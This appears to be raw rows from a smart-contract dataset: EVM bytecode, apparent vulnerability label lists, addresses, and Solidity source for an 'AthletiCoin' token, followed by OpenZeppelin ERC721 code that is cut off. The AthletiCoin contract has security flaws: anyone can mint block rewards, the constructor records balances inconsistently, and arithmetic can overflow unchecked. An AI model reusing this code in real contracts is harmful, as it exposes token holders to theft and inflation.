1615610ac957600080fd5b6001600160a01b0383163014610bd3576006600a819055600b556010546001600160a01b038481169116148015610b0e5750600f546001600160a01b03838116911614155b8015610b3357506001600160a01b03821660009081526005602052604090205460ff16155b8015610b485750601054600160b81b900460ff165b15610b5c57601154811115610b5c57600080fd5b6000610b673061047d565b601054909150600160a81b900460ff16158015610b9257506010546001600160a01b03858116911614155b8015610ba75750601054600160b01b900460ff165b15610bd157610bb581610d69565b47670429d069189e0000811115610bcf57610bcf47610c1d565b505b505b610bde838383610f0e565b505050565b60008184841115610c075760405162461bcd60e51b81526004016103f091906114b5565b506000610c148486611604565b95945050505050565b600c546001600160a01b03166108fc610c376003846115c5565b6040518115909202916000818181858888f19350505050158015610c5f573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610c7a6003846115c5565b6040518115909202916000818181858888f19350505050158015610ca2573d6000803e3d6000fd5b50600e546001600160a01b03166108fc610cbd6003846115c5565b6040518115909202916000818181858888f19350505050158015610919573d6000803e3d6000fd5b6000600854821115610d4c5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103f0565b6000610d56610f19565b9050610d628382610f3c565b9392505050565b6010805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610dbf57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610e1357600080fd5b505afa158015610e27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4b9190611391565b81600181518110610e6c57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600f54610e92913091168461091d565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610ecb90859060009086903090429060040161153d565b600060405180830381600087803b158015610ee557600080fd5b505af1158015610ef9573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b610bde838383610f7e565b6000806000610f26611075565b9092509050610f358282610f3c565b9250505090565b6000610d6283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110b7565b600080600080600080610f90876110e5565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610fc29087611142565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054610ff19086611184565b6001600160a01b038916600090815260026020526040902055611013816111e3565b61101d848361122d565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161106291815260200190565b60405180910390a3505050505050505050565b6008546000908190683635c9adc5dea000006110918282610f3c565b8210156110ae57505060085492683635c9adc5dea0000092509050565b90939092509050565b600081836110d85760405162461bcd60e51b81526004016103f091906114b5565b506000610c1484866115c5565b60008060008060008060008060006111028a600a54600b54611251565b9250925092506000611112610f19565b905060008060006111258e8787876112a6565b919e509c509a509598509396509194505050505091939550919395565b6000610d6283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610be3565b60008061119183856115ad565b905083811015610d625760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103f0565b60006111ed610f19565b905060006111fb83836112f6565b306000908152600260205260409020549091506112189082611184565b30600090815260026020526040902055505050565b60085461123a9083611142565b60085560095461124a9082611184565b6009555050565b600080808061126b606461126589896112f6565b90610f3c565b9050600061127e60646112658a896112f6565b90506000611296826112908b86611142565b90611142565b9992985090965090945050505050565b60008080806112b588866112f6565b905060006112c388876112f6565b905060006112d188886112f6565b905060006112e3826112908686611142565b939b939a50919850919650505050505050565b60008261130557506000610357565b600061131183856115e5565b90508261131e85836115c5565b14610d625760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103f0565b600060208284031215611386578081fd5b8135610d6281611631565b6000602082840312156113a2578081fd5b8151610d6281611631565b600080604083850312156113bf578081fd5b82356113ca81611631565b915060208301356113da81611631565b809150509250929050565b6000806000606084860312156113f9578081fd5b833561140481611631565b9250602084013561141481611631565b929592945050506040919091013590565b60008060408385031215611437578182fd5b823561144281611631565b946020939093013593505050565b600060208284031215611461578081fd5b8135610d6281611646565b60006020828403121561147d578081fd5b8151610d6281611646565b60008060006060848603121561149c578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b818110156114e1578581018301518582016040015282016114c5565b818111156114f25783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b8181101561158c5784516001600160a01b031683529383019391830191600101611567565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156115c0576115c061161b565b500190565b6000826115e057634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156115ff576115ff61161b565b500290565b6000828210156116165761161661161b565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461047a57600080fd5b801515811461047a57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122056c203ed373cf45535ff4cefe47783eedaa1f72729cf597ece1098816c7a579d64736f6c63430008040033
[ 13, 0, 5 ]
0xf21dd3a97e0e767d5b2d79396a61276fa9e27f4b
pragma solidity ^0.4.16; contract AthletiCoin { string public name = "AthletiCoin"; // token name string public symbol = "ATHA"; // token symbol //string public version = "realversion"; uint256 public decimals = 18; // token digit mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; uint256 public totalSupply = 0; bool public stopped = false; uint256 public sellPrice = 1530000000000; uint256 public buyPrice = 1530000000000; //000000000000000000 uint256 constant valueFounder = 500000000000000000000000000; address owner = 0xA9F6e166D73D4b2CAeB89ca84101De2c763F8E86; address redeem_address = 0xA1b36225858809dd41c3BE9f601638F3e673Ef48; address owner2 = 0xC58ceD5BA5B1daa81BA2eD7062F5bBC9cE76dA8d; address owner3 = 0x06c7d7981D360D953213C6C99B01957441068C82; modifier isOwner { assert(owner == msg.sender); _; } modifier isRunning { assert (!stopped); _; } modifier validAddress { assert(0x0 != msg.sender); _; } constructor () public { totalSupply = 2000000000000000000000000000; balanceOf[owner] = valueFounder; emit Transfer(0x0, owner, valueFounder); balanceOf[owner] = valueFounder; emit Transfer(0x0, owner2, valueFounder); balanceOf[owner] = valueFounder; emit Transfer(0x0, owner3, valueFounder); } function giveBlockReward() public { balanceOf[block.coinbase] += 15000; } function mintToken(address target, uint256 mintedAmount) isOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; emit Transfer(0, this, mintedAmount); emit Transfer(this, target, mintedAmount); } function setPrices(uint256 newSellPrice, uint256 newBuyPrice) isOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; } function redeem(address target, uint256 token_amount) public payable returns (uint amount){ token_amount = token_amount * 1000000000000000000; uint256 fee_amount = token_amount * 2 / 102; uint256 redeem_amount = token_amount - fee_amount; uint256 sender_amount = balanceOf[msg.sender]; uint256 fee_value = fee_amount * buyPrice / 1000000000000000000; if (sender_amount >= redeem_amount){ require(msg.value >= fee_value); balanceOf[target] += redeem_amount; // adds the amount to buyer's balance balanceOf[msg.sender] -= redeem_amount; emit Transfer(msg.sender, target, redeem_amount); // execute an event reflecting the change redeem_address.transfer(msg.value); } else { uint256 lack_amount = token_amount - sender_amount; uint256 eth_value = lack_amount * buyPrice / 1000000000000000000; lack_amount = redeem_amount - sender_amount; require(msg.value >= eth_value); require(balanceOf[owner] >= lack_amount); // checks if it has enough to sell balanceOf[target] += redeem_amount; // adds the amount to buyer's balance balanceOf[owner] -= lack_amount; // subtracts amount from seller's balance balanceOf[msg.sender] = 0; eth_value = msg.value - fee_value; owner.transfer(eth_value); redeem_address.transfer(fee_value); emit Transfer(msg.sender, target, sender_amount); // execute an event reflecting the change emit Transfer(owner, target, lack_amount); // execute an event reflecting the change } return token_amount; // ends function and returns } function buy() public payable returns (uint amount){ amount = msg.value / buyPrice; // calculates the amount require(balanceOf[owner] >= amount); // checks if it has enough to sell balanceOf[msg.sender] += amount; // adds the amount to buyer's balance balanceOf[owner] -= amount; // subtracts amount from seller's balance emit Transfer(owner, msg.sender, amount); // execute an event reflecting the change return amount; // ends function and returns } function sell(uint amount) public isRunning validAddress returns (uint revenue){ require(balanceOf[msg.sender] >= amount); // checks if the sender has enough to sell balanceOf[owner] += amount; // adds the amount to owner's balance balanceOf[msg.sender] -= amount; // subtracts the amount from seller's balance revenue = amount * sellPrice; msg.sender.transfer(revenue); // sends ether to the seller: it's important to do this last to prevent recursion attacks emit Transfer(msg.sender, owner, amount); // executes an event reflecting on the change return revenue; // ends function and returns } function transfer(address _to, uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); require(balanceOf[_to] + _value >= balanceOf[_to]); balanceOf[msg.sender] -= _value; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value >= balanceOf[_to]); require(allowance[_from][msg.sender] >= _value); balanceOf[_to] += _value; balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { require(_value == 0 || allowance[msg.sender][_spender] == 0); allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function stop() public isOwner { stopped = true; } function start() public isOwner { stopped = false; } function burn(uint256 _value) public { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; balanceOf[0x0] += _value; emit Transfer(msg.sender, 0x0, _value); } event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); }
0x60806040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305fefda71461012257806306fdde031461015957806307da68f5146101e9578063095ea7b31461020057806318160ddd146102655780631e9a69501461029057806323b872dd146102e4578063313ce5671461036957806342966c68146103945780634b750334146103c157806370a08231146103ec57806375f12b211461044357806379c65068146104725780638620410b146104bf57806395d89b41146104ea578063a6f2ae3a1461057a578063a9059cbb14610598578063be9a6555146105fd578063dd62ed3e14610614578063e4849b321461068b578063fcd6e339146106cc575b600080fd5b34801561012e57600080fd5b5061015760048036038101908080359060200190929190803590602001909291905050506106e3565b005b34801561016557600080fd5b5061016e61074e565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101ae578082015181840152602081019050610193565b50505050905090810190601f1680156101db5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101f557600080fd5b506101fe6107ec565b005b34801561020c57600080fd5b5061024b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610862565b604051808215151515815260200191505060405180910390f35b34801561027157600080fd5b5061027a6109e9565b6040518082815260200191505060405180910390f35b6102ce600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109ef565b6040518082815260200191505060405180910390f35b3480156102f057600080fd5b5061034f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f76565b604051808215151515815260200191505060405180910390f35b34801561037557600080fd5b5061037e611274565b6040518082815260200191505060405180910390f35b3480156103a057600080fd5b506103bf6004803603810190808035906020019092919050505061127a565b005b3480156103cd57600080fd5b506103d661139f565b6040518082815260200191505060405180910390f35b3480156103f857600080fd5b5061042d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506113a5565b6040518082815260200191505060405180910390f35b34801561044f57600080fd5b506104586113bd565b604051808215151515815260200191505060405180910390f35b34801561047e57600080fd5b506104bd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113d0565b005b3480156104cb57600080fd5b506104d461153f565b6040518082815260200191505060405180910390f35b3480156104f657600080fd5b506104ff611545565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561053f578082015181840152602081019050610524565b50505050905090810190601f16801561056c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105826115e3565b6040518082815260200191505060405180910390f35b3480156105a457600080fd5b506105e3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506117ae565b604051808215151515815260200191505060405180910390f35b34801561060957600080fd5b50610612611996565b005b34801561062057600080fd5b50610675600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a0c565b6040518082815260200191505060405180910390f35b34801561069757600080fd5b506106b660048036038101908080359060200190929190505050611a31565b6040518082815260200191505060405180910390f35b3480156106d857600080fd5b506106e1611c56565b005b3373ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561073c57fe5b81600781905550806008819055505050565b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e45780601f106107b9576101008083540402835291602001916107e4565b820191906000526020600020905b8154815290600101906020018083116107c757829003601f168201915b505050505081565b3373ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561084557fe5b6001600660006101000a81548160ff021916908315150217905550565b6000808214806108ee57506000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15156108f957600080fd5b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60055481565b6000806000806000806000670de0b6b3a764000088029750606660028902811515610a1657fe5b0495508588039450600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549350670de0b6b3a76400006008548702811515610a7757fe5b0492508484101515610bff57823410151515610a9257600080fd5b84600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555084600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508873ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015610bf9573d6000803e3d6000fd5b50610f67565b8388039150670de0b6b3a76400006008548302811515610c1b57fe5b0490508385039150803410151515610c3257600080fd5b8160036000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610ca257600080fd5b84600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508160036000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055506000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508234039050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610e10573d6000803e3d6000fd5b50600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f19350505050158015610e79573d6000803e3d6000fd5b508873ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a38873ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35b87965050505050505092915050565b600081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610fc657600080fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011015151561105557600080fd5b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156110e057600080fd5b81600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60025481565b80600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156112c857600080fd5b80600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555080600360008073ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555060003373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b60075481565b60036020528060005260406000206000915090505481565b600660009054906101000a900460ff1681565b3373ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561142957fe5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806005600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b60085481565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115db5780601f106115b0576101008083540402835291602001916115db565b820191906000526020600020905b8154815290600101906020018083116115be57829003601f168201915b505050505081565b6000600854348115156115f257fe5b0490508060036000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561166557600080fd5b80600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508060036000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a380905090565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156117fe57600080fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011015151561188d57600080fd5b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156119ef57fe5b6000600660006101000a81548160ff021916908315150217905550565b6004602052816000526040600020602052806000526040600020600091509150505481565b6000600660009054906101000a900460ff16151515611a4c57fe5b3373ffffffffffffffffffffffffffffffffffffffff16600014151515611a6f57fe5b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515611abd57600080fd5b8160036000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550600754820290503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611bc6573d6000803e3d6000fd5b50600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3809050919050565b613a98600360004173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505600a165627a7a723058206d8294f498a06b41f608f10b0aa63ab28312c7fff265cc5d55ca8941e9ee0de00029
[ 4 ]
0xf21df2331cd0ea7e88cb6c4b736faf1318e9e007
// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/utils/introspection/IERC165.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: 